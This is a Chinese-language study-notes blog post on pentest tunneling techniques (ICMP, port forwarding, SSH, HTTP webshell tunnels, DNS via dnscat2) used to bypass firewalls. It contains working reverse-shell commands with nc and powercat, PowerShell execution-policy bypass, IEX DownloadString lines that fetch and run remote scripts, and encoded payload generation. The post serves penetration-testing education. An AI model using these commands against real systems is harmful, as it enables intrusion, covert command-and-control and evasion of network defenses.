0%

隐藏通信隧道技术

本篇内容是内网安全攻防:渗透测试实战指南时的阅读笔记,笔记大部分内容均来自此书,另外一部分来源于一些公开文档和非公开文档,参考链接中均有注明。

简介

为什么需要隧道?各种边界设别、软/硬件防火墙或者入侵检测系统检测到异常链接就会对通信进行阻断,为了突破这些设备的防护,就需要隧道技术。

什么是隧道?严格来说,这是一类网络协议,一种数据包封装技术,将原始的I数据包包封装在另一个数据包中进行传输。

为什么隧道技术能够跨越边界设备或者入侵检测设备?回答这个问题之前需要得知另一个问题?

防火墙这类设备是依据什么来进行放行和拒绝的?下面我列举一些翻火墙的规则建立参数:

可以发现简单的防火墙规则使用四元组(源ip、源端口、目的IP、目的端口)就可以定义,复杂的规则可以限制不同的协议、标志位、状态等等。

隧道协议将其他协议的数据帧或包重新封装然后通过隧道发送,改变了数据包原有的特征,使得防护设备无法正确的放行和拒绝。

常见的隧道

基于数据包层次的不同,常见的隧道有这些:

  • 网络层:IPv6隧道、ICMP隧道、GRE隧道
  • 传输层:TCP隧道、UDP隧道、常规端口转发(这个其实不算)
  • 应用层:SHH隧道、HTTP隧道、HTTPS隧道、DNS隧道……

探测连通性

探测连通性指的是机器能否上外网。

注:我不会非常细致的理解原理,我只是快速的记录下这些姿势。

1
2
3
4
5
6
# Windows cmd
ping ip or domain #
nslookup baidu.com 10.10.10.128 #和linux下相同、

arp -a #查看ARP缓存内容
net view #查看与主机链接的机器名
1
2
3
4
5
6
7
8
#Linux bash
ping ip or domain #
nc -zv ip port #z选项 没有输入和输出的模式,v选项显示详细信息
curl ip:port #默认为80端口,提示信息为拒绝链接,如果是其他错误,则可判断目标端口已开启
nslookup domain ip #domain 是需要解析的域名,IP是DNS服务器的IP,可判断目标IP的53端口是否正常工作
nslookup 0day.org 127.0.0.1
dir @ip domain #ip部分为DNS服务器 ,domain为待解析的域名
dig @127.0.0.1 0day.org

另外的一些技巧,某些场景中需要内网需要全部经过代理服务器才能出网,常见的判断方法:

1
2
3
4
5
6
ps -ef |grep ip #查看是否存在和其他机器端口的链接
#查看内网主机是否包含字符"proxy"的机器
#查看IE浏览器的直接代理
#根据pac文件查看代理机器
curl -x 127.0.0.1:1080 baidu.com #注意代理的目标,不一定是本机,代理时通,不代理时不通说明存在代理机器
crul baiddu.com #正常使用

网络层隧道

ipv6 隧道

没有找到比较好实验在公网上演示该过程,加之觉得实战意义不大,这里我分享一下我所知道的一些内容,ipv6隧道这个技术我相信电信运营商之类的已经在用了(我的猫已经能获取到ipv6地址),为什么要这么做,因为现在的网络环境还没有全面Ipv4,当下的网络实际上混合着Ipv6和ipv4,为了支持ipv6,便有了ipv6隧道,不要想的太复杂,简单理解把ipv6报文封装到ipv4报文中,这样以支持所以的网络环境。

注:我这里说的ipv6隧道,实际上指的是 6to4,反过来,如果公网全面支持ipv6,局域网中ipv4,可以使用 4to6隧道。

几个重点:

  • 现阶段的边界设备等无法识别ipv6 报文,而大部分操作系统是支持的
  • 即使支持ipv6报文,也无法正确分析封装的数据包(ipv4数据包里裹着ipv6数据包)

ICMP隧道

实现的这个技术的一些工具:icmpsh、PingTunnel、icmptunnel、powershell icmp,当然这里不是全部

icmpsh

参考:利用icmp隧道 轻松穿透 tcp/udp四层 封锁

不建议使用,该工具最后一次更新到现在快10年了,并且传输速度确实感人。

1
2
3
4
5
#服务端   
git clone https://github.com/inquisb/icmpsh.git
sudo apt install python-impacket
cd icmpsh
sudo ./icmpsh_m.py 10.10.10.128 10.10.10.130 #注意这里的ip 10.10.10.128 是当前机器的公网ip,10.10.10.130是目标机器公网ip(出网ip)
1
2
3
#客户端
icmpsh.exe -t 10.10.10.128 -d 500 -b 30 -s 128 #-d参数是为请求的延迟,-s是数据缓冲区的大小
#指定参数的目的是为了提升传输的速度

实际的公网环境我也进行了测试,可惜我这里运营商给的不是公网ip,测试失败。

pingtunnel

这玩意一开始我没整明白,后来发现@九世搞过这个,按他的实验,大致明白了这个工具。

temserver 配置

1
2
#配置server 端
sudo ./pingtunnel -type server -key 123

建立两个Listener

注意host部分,在目标机器上执行的payload是 icmp Tunnel 生成的payload。

目标机器

1
2
3
pingtunnel.exe  -type client -l :81 -s 10.10.10.128 -t 10.10.10.128:8080 -tcp 1 -key 123 -nolog 1 -noprint 1 
#Pingtunnel 配置
#这里的端口注意和Listener 对应

执行payload(我这里用的powershell 远程加载),机器上线,注意上线机器是由 listener http 上线的,extemal 是的ip是本机。

查看通信过程的流量

到这里,可以看出该工具的一些作用了,在本地侦听一个端口,所有进入该端口的流量通过Tunnel重新封装,再从Tunnel 出来解封装,简单的看就是端口转发+ICMP Tunnel。

1
2
3
4
5
#另外还有一些转发选项,这里就不演示了
#转发sock5 ,其实理想的效果应该反向sock5的,可惜这里只能正向。
pingtunnel.exe -type client -l :4455 -s www.yourserver.com -sock5 1
#转发UDP
pingtunnel.exe -type client -l :4455 -s www.yourserver.com -t www.yourserver.com:445

Ptunnel-ng

Ptunnel-ng的前身是Ptunnel,Ptunnel最后一次更新是2011年了,但是这个工具有一个比较坑的点,需要Winpacp的支持(需要wpcap.dll),那么问题来了,遇到的环境有几个是安装了wincap库的呢?

先介绍下Ptunnel如何使用。

1
2
3
4
5
6
#我这里不介绍编译安装的方法了,笔者使用的为kali ,仓库中提供了二进制包,直接安装即可
sudo apt install ptunnel

sudo ptunnel -x password #密码
ptunnel -p 192.168.3.71 -lp 3389 -da 10.10.10.128 -dp 3389 -x password
#windows 版
1
2
3
4
5
6
7
8
9
10
11
12
#类似 Ptunnel-ng也能在kali 仓库中找到,
sudo apt install ptunnel-ng
#当然源码编译也很简单
git clone https://github.com/lnslbrty/ptunnel-ng.git
sudo apt-get install autoconf gcc make #实际上autoconf 同时还会安装automake autotools-dev,这是一套工具包
#gcc 是一种能够编译多种语言的编译器
cd ptunnel-ng/ && ./autogen.sh
#脚本编译完成后
cd src/
sudo ./ptunnel-ng

#Windows 编译不会弄

这部分暂且搁置,后续再补充吧

  • PingTunnel
  • icmptunnel
  • powershell icmp

传输层隧道技术

参考:

渗透基础——端口转发与代理

【ATT&CK】端口转发技术大全(上)

【ATT&CK】端口转发技术大全(下)

这一小节的是标题是传输层隧道技术,但是笔者认为,它实际上和隧道技术不同,这种技术我更愿意称他为端口转发,根据转发的不同目标(本地和远程)和不同协议(TCP和UDP)可以组合以下四种情况。

  • 本地端口转发(TCP)
  • 本地端口转发(UDP)
  • 远程端口转发(TCP)
  • 远程端口转发(UDP)

正好说到这里,也区分常说的正向代理和反向代理,我之前对这两个概念一直迷惑,说的不对的师傅请留言。

先说大白话:两者区别在于代理的目标不同,正向代理代理了客户端,反向代理代理了服务器。

正向代理和反向代理都是指的是一种实现效果,没有说如何实现这个效果,在一些文章中会出现正向端口转发和反向端口转发(包括下文),正向端口转发可理解为用端口转发实现的正向代理,反向端口转发可理解为用端口转发实现的反向代理。

说起来感觉像绕口令,我觉两个安全从业者常见的例子:

  • 生活中访问的部分网页,访问到的并不是真实的WEB服务器,而是CDN服务商的服务器,该服务器代替了原本的WEB服务器提供web服务,这是反向代理。
  • 企业为了网络安全,边界机器只允许某台机器流量出,于是内网所有的机器配置了该台机器为代理,该机器代理了内网全部流量和请求的服务端通信,这是正向代理(没错,我说的就是堡垒机之类的设备)。

而在实际的测试环境中,一般会遇到几种情况:

  • 目标在网络边界,内外网都可以访问。
  • 目标在内网,目标可访问外网,防火墙限制外网直接访问内部敏感端口
  • 目标在内网,不可访问外网,可访问边界主机,防火墙限制外网直接访问内部敏感端口

第一种情况随便折腾,这里场景应该极少出现,我表示没遇到过,第二种情况用反向端口转发或者webshell端口转发或第三方自建内网穿透技术,第三种需要反向端口转发+正向端口转发才能突破。

这段是【ATT&CK】端口转发技术大全(上)中的一段,我建议每个搞内网的人都去读这两篇文章。

端口转发实验网络结构

简单介绍下这个环境,内网是192.168.3.0/24网段,网关指向防火墙,防火墙外代表着外网,实际上VPS也是一台Kali linux 主机,为了默认真实的环境。

注:后面就看效果就好,大家理解到我的意思就好

lcx端口转发

参考:

通向彼岸 之内网代理转发 lcx篇

这个工具很老了,非常经典,网上也有源码,需要免杀的话自行修改,全称“Socket data transport tool”。Windows下有lcx.exe,Linux下叫portmap

1
2
3
4
5
6
7
8
9
10
11
12
[Usage of Packet Transmit:]
lcx -<listen|tran|slave> <option> [-log logfile]
[option:]
-listen <ConnectPort> <TransmitPort>
-tran <ConnectPort> <TransmitHost> <TransmitPort>
-slave <ConnectHost> <ConnectPort> <TransmitHost> <TransmitPort>
lcx.exe -slave <ConnectHost> <ConnectPort> <TransmitHost> <TransmitPort>
#将<TransmitHost> <TransmitPort>转发到<ConnectHost> <ConnectPort>
lcx.exe -listen <ConnectPort> <TransmitPort>
#将ConnectPort 转发到 TransmitPort
lcx.exe -tran <ConnectPort> <TransmitHost> <TransmitPort>
#将<ConnectPort>转发到TransmitHost> <TransmitPort>

lcx远程端口转发

注:使用lcx远程端口转发(反向端口转发)实现的反向代理效果。

1
2
3
4
5
6
7
8
9
lcx.exe -slave 10.10.10.131  3389 192.168.3.144 3389 
#将10.10.10.131 3389 的数据(流量)转发到 192.168.3.144 3389
sudo ./portmap -m 2 -p1 3389 -p2 443
#将3389的数据转发到443
or
lcx.exe -listen 3389 443
#将本地3389的流量转发到本地443
lcx.exe -tran 53 192.168.3.144 3389
#将本地53的流量转发到192.168.3.144 3389

注:使用lcs远程端口转发(正向端口转发)实现的正向代理

正向转发的这种场景一般在边界机器上比较合适,可以看到,我这里的转发其实没什么意义。

同样可以配合msf、cobalt strike 之类的突破内网封锁上线,下图演示了利用lcx端口转发实现的反向shell,注意生成payload 的lhost参数。

ncat

这个工具用途很多,文件传输、反弹shell、探测端口是否开放、端口转发……,这个名字比较让人误会,netcat在大多数的Linux发行版上默认就有,不过版本上实现不一样,比如有的带-e选项,有的不带,比较容易区分的是是netcat 和ncat,在kali下使用的nc实际上是nmap项目中重写的netcat。

1
2
3
4
5
#先说端口转发,这个工具实现的端口转发有点复杂,需要结合管道命令来使用
#bash shell
cat /tmp/fifo | nc localhost port1 | nc -l port2 > /tmp/fifo
nc -lp port
nc -nc ip port -e

常见的用法是建立正向shell和反向shell

1
2
3
4
5
6
#目标机器
nc -lvp port -e /bin/sh #Linux
nc -lvp port -e C:\Windows\System32\cmd.exe #Windows

#VPS上
nc ip port #链接目标端口

注:虚拟机中没有边界机器,故这里用宿主机演示。

反向shell

1
2
3
4
5
#VPS 上
nc -lvp port #开启监听

nc ip port -e /bin/sh #什么shell都行,bash、zsh都可以
nc ip port -e C:\Windows\System32\cmd.exe #传递cmd.exe

文件传输(本质上是对重定向的调用)

1
2
3
nc -lp port > file
nc -nv ip port <file -q 1
#这里的-q 1 是延时1 秒,为什么这样做,考虑到网络环境的诸多因素,让nc延时退出,时间根据网络环境自行设置

顺便安利一个reverse_shell生成的php脚本,包含的姿势非常全了,很小巧的工具。

Powercat

从名字上大致就能猜出这个工具的作用,Netcat 的powershell版本。

1
2
3
4
5
6
7
Import-Module .\powercat.ps1 #需执行策略允许
#策略不允许则需要绕过执行策略
powershell.exe -exec bypass -C "import-module .\powercat.ps1" #本地绕过策略执行命令(导入脚本)
powershell.exe -exec bypass -C "import-module .\powercat.ps1;powercat -c 10.10.10.128 -p 4444 -v -ep"
#这里的-ep 指的是 执行程序为powershell ,可指定为 -e cmd 或其他程序
#这种导入方式仅导入内存,一旦当前shell退出就需要重新导入,并且get-module 无法查询到对应module
powershell.exe "IEX (New-Object Net.WebClient).DownloadString('http://10.10.10.128/powercat.ps1');powercat -c 10.10.10.128 -p 4444 -v -ep"
1
2
3
#正向shell
powercat -l -p port -e cmd.exe -v #目标机器
netcat ip port -vv # VPS机器上
1
2
3
#反向shell
netcat -l -p 4444 -vv #VPS nc也行
powercat -c 10.10.10.131 -p 4444 -v -e cmd #目标机器,和nc类似

1
2
3
4
5
6
7
8
9
10
11
12
13
14
powercat -l -p  port -of file.txt -v  #输出文件
powercat -c ip -p port -i file.txt -v #输入文件
#和nc类似的传输文件功能
powercat -c 10.10.10.131 -p 4444 -v -e cmd -g >payload.ps1
#生成payload,在目标机器上直接执行payload即可
powercat -c 10.10.10.131 -p 4444 -v -e cmd -ge >payload.ps1
#powercat可以生成base64编码的payload
powershell.exe -EncodedCommand base64_payload
powershell.exe -E base64_payload #可简写为-E
#另外补充下Base64编码和解码的方法
$text = 'Hello World!' #编码
[Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($text), 'InsertLineBreaks')
$text = 'SABlAGwAbABvACAAVwBvAHIAbABkACEA' #解码
[Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($text))

参考:

PowerShell 技能连载 - 用 Base64 编解码文本

Powercat DNS

参考:dns隧道通信初探之dnscat2——klion 密圈文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#这里的主要难点在于dnscat2服务器的搭建,这里使用两种方式,一种正常安装,另外一种使用docker安装,推荐docker,docker避免安装了很多的库
git clone https://github.com/iagox86/dnscat2.git #个人一般习惯clone 项目下载源码
sudo apt-get install gem ruby-dev libpq-dev -y #安装必备的库
cd dnscat2/server/
sed -i 's/rubygems.org/gems.ruby-china.com/' Gemfile #替换ruby源
sudo gem install bundler
bundle install
sudo ruby dnscat2.rb domain #domain配置下面说

#Docker的方法安装
cd dnscat2/server/
sudo apt-get docker-ce--
sudo systemctl start docker.service
sed -i 's/rubygems.org/gems.ruby-china.com/' Gemfile
docker build -t dnscat2 .
docker run -p 53:53/udp -it -v "$PWD":/usr/src/myapp -w /usr/src/myapp --rm dnscat2 ruby ./dnscat2.rb wuhash.com -e open --no-cache
#这里的wuhash.com ,先配置好域名到当前机器的解析
#如果有防火墙请放行UDP53端口

如果在公网上搭建,那么你需要配置域名对应的记录,这里有两种做法:

  • 直接 域名配置一个A记录指向 dnscat2 s erver ,实验环境,可修改hosts文件做到实验效果

    1
    2
    wuhash.com   10.10.10.128 #A记录
    #dnscat2 请求的域名为 wuhash.com
  • 域名配置两条记录,A记录指向 dnscat2 server ,NS记录CNAME到A记录

    1
    2
    3
    4
    5
    dns.wuhash.com  10.10.10.128 #A记录
    ns.wuhash.com dns.wuhash.com #CNAME记录
    #注意如果使用这种方式,请求的域名为ns.wuhash.com,所有ns.wuhash.com子域下的DNS请求都将发送至10.10.10.128
    #推荐后者,解析结果都一样,看个人选择,推荐后者
    #两者的区别在于使用不同的记录进行通信

反向shell

powercat 利用dnscat2隧道反弹shell。

端口转发

1
2
3
4
#直接写命令,环境不同,这里就不演示了,和nc差不多
nc ip port1 -vv #链接目标
powercat -l -v -p -r port1 tcp:ip:port2 #端口转发至目标机器
powercat -l -v -p port2 -e cmd.exe #目标机器监听端口并传入一个cmd.exe

遇到的问题

DockerFile

参考:Dockerfile 指令详解

官方默认的DockerFile有问题,我修改了DockerFile,使其变得可用,已经请求合并到dnscat2项目主分支。

一开始没有意识到是缺少环境依赖,后来在师傅们的提点下(在此感谢各位师傅),指出该基础镜像可能有问题,翻文档修改了DockerFile,终于使容器成功构建运行,成品是这样:

1
2
3
4
5
6
7
8
9
FROM ruby:2.5.1
MAINTAINER Mofisto
EXPOSE 53/udp
RUN sed -i 's/deb.debian.org/mirrors.ustc.edu.cn/g' /etc/apt/sources.list && apt-get update -qq && apt-get install gem libpq-dev -y && mkdir /myapp
WORKDIR /myapp
COPY Gemfile /myapp/Gemfile
RUN bundle install

#docker build -t dnscat2 .

可以看到其实没做什么,只是将安装依赖库的步骤写到文件中。

几个小Tips:

  • 镜像源的设置:默认的镜像debian源为官方源,这里设置成了科大源,如果有pip源等类似软件源的记得修改

  • RUN命令的安排:尽量将多个命令 && 在同一个RUN,减少镜像层

    Dockerfile的作用是构建镜像的文本文件中,每执行一次指令都会在Docker上新建一层,构建的容器重新打包为镜像,如果指令过程过多,构建容器和打包镜像的时间会非常长,正确的姿势为减少无意义的指令,尽量将多个命令&&在同一个RUN中。

端口冲突

1
2
3
4
5
6
7
8
9
#systemd-resolve服务占用本地的53端口
sudo vim /etc/systemd/resolved.conf
DNSStubListener=no #去掉注释并设置为no
sudo systemctl restart systemd-resolved
or
sudo systemctl disable systemd-resolved.service

#dnsmasq和dnscat2端口冲突的问题,当前机器为了控制解析,所以自建了DNS服务
sudo systemctl stop dnsmasq.service #停止服务就好,注意修改会DNS

自解析

这里和PowercatDNS,如前面所说我使用了dnsmasq自解析,需要修改resolv.conf文件,但是这个文件很容易被各种进程改写,这里说下我的解决办法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#修改 resolv.conf 文件之后添加I属性,一般我用第一种
charrt +i /etc/resolv.conf

#dhclient导致修改resolv.conf
sudo vim /etc/dhcp/dhclient.conf
prepend domain-name-servers 127.0.0.1: #取消注释,指定DNS服务器为127.0.0.1

#使用dhcpcd
echo "nameserver 127.0.0.1" > /etc/resolv.conf.head #设置dns服务器为127.0.0.1

#NetworkManager服务影响
sudo vim /etc/NetworkManager/NetworkManager.conf
[main]
plugins=keyfile
dns=dnsmasq

参考:dnsmasq

dnscat2的题外话

参考:Powershell+Dnscat2实现DNS隐蔽隧道反弹Shell

对于DNS协议用的最多的应该是Cobalt Strike 中的DNS ,但是Cobalt Strike的的DNS隧道实现可以说是粗糙,默认60秒发送A记录解析请求,报告上线,上传数据,使用TXT记录下载指令和payload等,那么dnscat2上是否情况会变好呢?参考链接中也说道,dnscat2通讯的容错和纠正机制不完善,很大几率运行不稳定,说大白话,就是需要改,改成你喜欢的样子,该的稳定点。并且直接用很容易被检测,大量高频的DNS请求明显流量不正常,由于DNS协议本身的局限性,注定了这种隧道速度不会很快(有些场景也够用了)。

对于高频的请求,实际上dncat2提供的delay控制响应延迟用以逃避防护,详细的参数这里不再赘述。

应用层隧道技术

SSH协议

这里只介绍端口转发部分,不会介绍详细的如何做,我只能说这个工具非常灵活,包括不限于以下这些:

参考:klion密圈案例

  • 利用远程端口转发本地上线
  • 边界机器机器本地端口转发突破内网机器不出网
  • 内网机器SSH隧道至边界机器反弹shell上线
  • 边界机器利用利用SSH隧道构建sock5代理进目标内网突破对方限制
  • ……

总之,思维不要固定,核心的东西就这么下面3条命令,组合使用能做出很棒的效果。

1
2
3
4
5
6
7
8
9
ssh -L <local port>:<remote host>:<remote port> <SSH hostname>
#本地端口转发,正向TCP端口转发
#所有发送至本地端口的流量都通过SSH隧道转发至远程主机端口
ssh -R <local port>:<remote host>:<remote port> <SSH hostname>
#远程端口转发,反向TCP端口转发
#所有发送至远程主机端口的流量都通过SSH隧道转发至本地端口,相当于暴露本地主机的端口在SSH server上
ssh -f -D <local port> <SSH Server>
#动态端口转发,就是本地开一个sock代理
常配置参数 -CfNg 使用

补充,如果想要UDP端口,需配合另外的工具,将UDP端口转发至TCP端口,才能实现。

HTTP协议

参考:

开源武器库-文件

通向彼岸 之内网代理转发 [ http隧道篇 Reduh ]

第一百课:HTTP隧道reDuh第四季

ReDuh

ReDuh项目SensePost在BlackHat USA 2008演讲中发布的,简单的理解为把HTTP请求构建为转化为TCP回路,工具确实很老了,基本用不到,最后一次更新是8年前,由于这个项目才有了后面的reGeorg,reGeorg之后又有了Neo-reGeorg。

脚本确实太老了,用了php环境和aspx环境都发现无法测试出效果,具体的实验过程看Micro8和klion的文章(上面参考链接)。

reGeorg

1
2
3
sudo apt instal python-pip
pip install urllib3
#需要urllib3库

脚本上传到目标服务器,使用reGeorgSocksProxy.py脚本监听本地的1080端口,使用proxychains将流量发送到1080端口,在通过HTTP隧道传输到目标机器上。

可以看到目标翻火墙未放行远程桌面端口,使用HTTP隧道之后,仍然成功的开启远程桌面,可以看到当前的远程登录的ip是本机的ip。

Neo-reGeorg

Neo-reGeorg和reGeorg的使用极为相似,不过Neo-reGeorg代理很多有用的特性,如使用密码验证构建代理、传输内容经过Base64加密、请求响应定制……等等。

1
2
python3 neoreg.py generate -k password 
python3 neoreg.py -k password -u http://192.168.3.132/tunnel.aspx

查看当前登录的用户和使用的ip

Tunna

参考:[[通向彼岸 之内网代理转发 [ http隧道篇 Tunna ]]](https://klionsec.github.io/2016/09/13/tunna-http-tunnel/)

这个使用起来明显没有上面的灵活,socks还是好用一些,看到Tunna有支持socks,没明白怎么用的,后续补充。

1
2
3
4
python proxy.py -u "http://192.168.3.132/conn.aspx" -l 1080 -r 3389 -v
#指定本地端口,映射到目标127.0.0.1 3389 上,默认映射的地址是127.0.0.1
# -a REMOTE_IP 可指定ip转发数据至指定ip
#更多参数请查看readme文件

遇到的坑

我搭建环境用的WAMP搭建的测试环境,然后发现Apache服务一直无法成功启动,80端口被暂用,排查后发现这个服务和另外两个程序有关,IIS服务和sql server reporting services服务(实际上停止IIS的一系列服务就好)。

  • 使用netsh http show servicestate查看HTTP服务暂用的进程,我这里是的进程是System,进程pid为 4

  • 笔者使用的SQL Server为2014,打开SQL配置管理器, SQLServerManager10\2.msc,停止Sql Server Reporting Service

  • 服务器管理器(Windoes Server)中停止IIS的相关服务,全部停止,问题解决。

ABPTTS

参考:

第九十六课:HTTP隧道ABPTTS第一季

[[通向彼岸 之内网代理转发 [ http隧道篇 abptts ]]](https://klionsec.github.io/2016/09/15/abptts-http-tunnel/)

自出2016 Blackhat大会推出了之后就没怎么更新了。

1
2
3
pip install pycrypto
pip install httplib2
#安装库的时候遇到安装错误,死活安装不上,把自己的pypi阿里云源换成了网易源之后安装上了

注:没生成一次webshell的内容是不同的,只能用对应的配置文件链接对应的webshell进行端口转发。

产生的流量编码在HTTP请求中,流量确实无法被解密了,但是特征也非常明显,另外链接的速度非常难受,我本地进行远程桌面都卡顿,但仍然是一款不错的工具。

chisel

参考:

使用Chisel 进行端口映射 - Xax007 Security Blog

HackTheBox - Reddish

先踩坑,还是用的docker,这是一款golang编写的 HTTP隧道应用(自然,跨平台,最终的应用2-4兆,某种意义上来说文件大小还可以,和C自然不能比),下面是我修改的DockerFile,主要修改部分是将源替换为镜像源和设置了代理,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
FROM golang:alpine AS build-env
LABEL maintainer="dev@jpillora.com"
RUN sed -i 's@dl-cdn.alpinelinux.org@mirrors.aliyun.com@g' /etc/apk/repositories && apk update && apk add git
#RUN apk update
#RUN apk add git
ENV CGO_ENABLED 0
ADD . /src
WORKDIR /src
RUN GOPROXY="https://goproxy.cn" GO111MODULE=on go build -o main main.go
RUN go build \
-ldflags "-X ithub.com/jpillora/chisel/share.BuildVersion=$(git describe --abbrev=0 --tags)" \
-o chisel
# container stage
FROM alpine
RUN sed -i s@http://dl-cdn.alpinelinux.org/@https://mirrors.aliyun.com/@g /etc/apk/repositories && apk update && apk add --no-cache ca-certificates
WORKDIR /app
COPY --from=build-env /src/chisel /app/chisel
ENTRYPOINT ["/app/chisel"
#修改之后的容器我这里大概1分钟构建完成

1
2
3
4
docker run --rm -it -p 1080:1080 -p 1234:1234 jpillora/chisel server -p 1080 --reverse
.\chisel.exe client 10.10.10.128:1080 R:1234:127.0.0.1:3389
#链接Server 的1234端口就等同于链接本地的3389端口
#和SSH的远程端口转发效果类似,将内网端口暴露在server端

虽然我容器成功运行起来了,但是这种使用体验确实不是很好,还是老实的用二进制包方便,并且笔者在测试虚拟机NAT环境时并没有成功转发,所以这里的两台机器都是同一网段,也就说,应用场景需要客户端和服务端完全互通(使用姿势不对的话请指正)。

如果想使用socks进行动态转发也很方便。

1
2
3
4
5
6
7
8
9
10
sudo ./chisel server -p port --socks5  #公网机器server 端
#会输出主机指纹,可使用该指纹进行验证,只需要前几个字符就好,不必完整输入
./chisel client --fingerprint 13:38:74 server:port socks #Client
#13:38:74 是server的指纹前几个字符,每次server启动的指纹都不同的
vim etc/proxychains.conf
socks5 127.0.0.1 1080

proxychains4 command
#所有发送至本地1080端口的流量都经过HTTP隧道发送至服务端,其出口ip自然为公网机器的ip
#这种场景怎么用,把目标当做服务端即可,当然和目标需要正常通信

上面是公网机器作为socks代理,如果想代理到目标内网呢?即反向socks,参考链接中给出了这种姿势,命令比较多,实现起来有点不便,但这个工具最好用的部分也就是这部分了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#不是很推荐,但是有总比没有好,某些环境写会很好用
sudo ./chisel server -p 80 --socks5 #公网VPS
./chisel client 0.0.0.0:8080 socks #公网VPS链接socks
vim etc/proxychains.conf
socks5 127.0.0.1 1080

proxychains4 command

./chisel client address:80 R:8080:127.0.0.0.1:3333 #内网主机
./chisel server -p 3333 --socks5 #内网主机开启socks

#最后的效果是通过公网主机的1080端口的socks代理通过80端口的HTTP隧道进入对方网络
#其实就是套娃,通过公网VPS的代理数据流向是怎样的呢?
#1080-->8080-->80-->127.0.0.1:3333
#笔者没测试成功。

小结

本来这小节内容应该为HTTP和HTTPS的,但是确实没发现有HTTPS隧道的应用,所以标题还是写成HTTP协议,这些HTTP隧道大多数都是以webshell的形式作为服务端,都是开源项目,加入查杀套餐是一定的,所以东西拿来不能直接用,需要改造(别问我,我不会改。。)。

DNS协议

前面Powercat DNS部分其实已经用到了DNS协议,任然是将其他协议封装到DNS协议中,如何发起DNS请求,对域名进行解析即可,一般默认的查询记录是A记录,A记录为一个Ipv4地址,另外在DNS隧道中另一个关键的记录为NS记录,该记录指向的为域名解析服务器。

注:一般设置的是子域的NS记录,域本身的NS未修改,当然,修改整个域的NS也可以。

为了查看配置结果,常用以下两个工具查询DNS记录以验证是否配置成功:

1
2
3
4
5
6
7
8
#如果不指定DNS服务器,将使用默认的DNS服务器,
vim etc/resolv.conf #改文件指定了DNS服务器
dig wuhash.com +trace #跟踪解析过程
dig @1.1.1.1 wuhash.com #指定DNS服务器
dig @1.1.1.1 wuhash.com +all #全部记录
nslookup wuhash.com 8.8.8.8 #指定DNS服务器
nslookup -qt=A wuhash.com  #指定查询的记录
#另外,有些DNS服务器无法查询到结果时,请换另外的DNS服务器

dnscat2

参考:

Powershell+Dnscat2实现DNS隐蔽隧道反弹Shell

Command and Control – DNS

DNS 隧道通信初探之 dnscat2 [跨平台 RAT]—密圈文件

本来该写在这里的,Powercat DNS 部分感觉已经将这个工具写的差不多了,这里作为补充吧。

如果想在公网测试,请配置好对应的DNS记录,笔者域名解析配置如下:

测试DNS服务器是否正确接收的DNS请求:

为什么收到了3次请求,因为dig默认的DNS请求重试次数就是3次

另外,再一次修改了Dockerfile,修改后的Dockerfile构建的镜像大小仅为200兆,主要的修改部分为修改了基础镜像为alpine,这里贴出DockerFile。

1
2
sed -i 's/rubygems.org/gems.ruby-china.com/' Gemfile  
#记得替换Gemfile文件中的地址为镜像源。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
FROM ruby:2.5.1-alpine
MAINTAINER Mofisto

EXPOSE 53/udp
RUN sed -i "s/dl-cdn.alpinelinux.org/mirrors.aliyun.com/g" /etc/apk/repositories && apk add --no-cache libpq build-base && mkdir /myapp
WORKDIR /myapp
COPY Gemfile /myapp/Gemfile
RUN bundle install

# Run it
# docker run -p 53:53/udp -it -v "$PWD":/usr/src/myapp -w /usr/src/myapp --rm dnscat2 ruby ./dnscat2.rb Examples.com
# Tips
#You should currently be on dnscat2 / server
# docker build -t dnscat2 .

前面演示的dnscat2客户端用的是powercat,有一个名为dnscat2-powershell的项目,实现了powershell版本的dnscat2客户端。

1
2
3
4
5
6
7
IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/lukebaggett/dnscat2-powershell/master/dnscat2.ps1')
help dnscat2
or
powershell.exe -exec bypass -Noexit Import-Module .\dnscat2.ps1

help dnscat2
IEX (New-Object System.Net.Webclient).DownloadString('http://10.10.10.128/dnscat2.ps1')

dnscat2-powershell的基本使用方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
docker run -p 53:53/udp -it -v "$PWD":/usr/src/myapp -w /usr/src/myapp --rm dnscat2 ruby ./dnscat2.rb dns.wu****.** --no-cache -c password
#记得开启-no-cache
Start-Dnscat2 -Domain dns.wu***.** -DNSServer 10.10.10.128 -PreSharedSecret password
#10.10.10.128是我本地架设的一台DNS服务器,可以指定其他公共DNS服务器,虽然说不指定会使用系统自带的配置,我这里不设置会报错,所以还是设置了

#Powershell-dnscat2的一些参数
-Command #创建一个Session,默认就有
-Exec <String> #传入一个程序,比如传入一个cmd,DNScat2接受到Session直接就得到一个cmd shell,不用在二次创建
-Console #这个效果和nc聊天相似,在dnscat2 server输入的字符将同步到Client中
-ExecPS #直接传入一个Powershell,Dnscat2 server将得到一个Powershell shell
-PreSharedSecret <string> #密码
-NoEncryption #不适用加密
-LookupTypes <string> #使用的记录类型,默认@(TXT, MX, CNAME),支持TXT, MX, CNAME, A, and AAAA
-Delay <int32> #每个请求之间的延迟,毫秒为单位,默认值是0
-MaxRandomDelay <int32> #设置随机延迟的最大值,毫秒为单位,默认值是0
-MaxPacketSize <int32> #dnscat2数据包的最大长度 ,默认值 240
-Name <String> #Session name ,默认值是 hostname

如果一切配置正确,那么就能收到Session ,dnscat2的Console自带了一些指令,这里列举下,不知道的help下就好:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#dnscat2中由一堆Window组成
window or windows or sessions or session #查看窗口列表,任意命令均可
window -i dns1 #dns1是默认创建的侦听器,进入可以查看接受和发送的指令编码状态
#Ctrl+Z 回到主窗口
#会话中也可以产生新的会话,例如 shell指令会创建新的会话,如果想要使用,需要 session -i id #新的会话id
#在会话中的指令没几个,但每个都很实用
#如果不知道某个指令怎么用,command -h 就能看到说明
clear #清屏
delay #发送请求的延迟
download <from> [to]#下载文件
upload <from> <to> #上传
echo
exec #注意,这个是非交互式的,即如果想使用交互式命令无法得到输出,但是可换一种方式,比如重定向至某文件
help
